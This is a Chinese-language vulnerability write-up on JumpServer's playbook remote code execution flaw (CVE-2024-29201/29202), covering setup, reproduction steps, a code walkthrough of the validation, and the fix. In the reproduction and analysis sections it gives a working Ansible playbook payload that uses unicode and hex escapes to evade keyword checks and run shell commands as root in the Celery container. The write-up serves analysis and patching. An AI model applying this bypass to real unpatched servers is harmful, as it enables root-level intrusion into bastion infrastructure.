0x01 简介
JumpServer 是广受欢迎的开源堡垒机。
0x02 漏洞概述
JumpServer 3.0版本开始引入批量下发作业功能,在其3.10.7之前版本中,攻击者可以通过构建恶意 playbook 模板绕过Ansible中的输入验证机制从而在 Celery 容器中以root权限执行任意代码。
在修复版本中,通过移除job-execution接口相关代码以修复漏洞。
0x03 漏洞复现
1、根据官方文档安装环境,注意软件版本。快速入门 – JumpServer 文档
2、 登录admin用户–资产管理–资产列表–新增资产
3、账号管理–账号列表–添加
4、创建完账号后测试
创建账户
测试账户
5、创建资产
测试资产连接
6、创建一个账号并授权资产
7、登录test账户,作业中心–模板管理–playbook管理–工作空间
新建作业(图中是新建完成的)
在作业空间中输入payload
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "id > /tmp/pwnd",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\u0063onnection": "local"
}
}]
8、作业管理-运行
9、查看文件
资产中查看(上文的192.168.110.250)
docker中查看(celery中)
0x04 漏洞分析
比对代码
apps/assets/automations/base/manager.py
查看SuperPlaybookRunner
新增的子类,将一个实例变量self.envs
设置为一个字{"LOCAL_CONNECTION_ENABLED": "1"}
再去runner变量所在的函数get_runners所在的类BasePlaybookManager的应用。
根据名字看第一个
看GatherAccountsManager,是一个继承的子类
看ExecutionManager,将多个类自动分配
根据名字再看apps/assets/models/automations/base.py
这里看了很久,感觉并不是漏洞注入的地方,好像是账户管理相关的。。先放一下找其他的。
=========================
apps/ops/ansible/runner.py,查看另一个修改的地方
进一步搜索后,在job.py中发现了PlaybookRunner实例的创建,查看apps/ops/api/job.py,
查看类的使用
到这里就确认了漏洞的注入点
(其实弄完了反应过来,根据情报去写poc的话,可以直接在系统里找playbook的。。。)
想想怎么构建payload的
确认PlaybookRunner在get_runner中调用
注意before_start()
利用关键字对输入的数据进行校验
具体的校验关键字
====
由此,结合对playbook的了解,使用ascii也应该可以
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "id > /tmp/pwnd",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\x63onnection": "local"
}
}]
0x05总结
漏洞的原因:
1、jumpserver在执行命令的可以执行 localhost的命令,这一点在后续修复漏洞中通过重新引入一个env进行校验
2、输入没有做足够的校验
0x06漏洞修复
升级版本
0x07参考链接
JumpServer 远程代码执行 CVE-2024-29201&&CVE-2024-29202 漏洞分析 – 先知社区 (aliyun.com)
https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202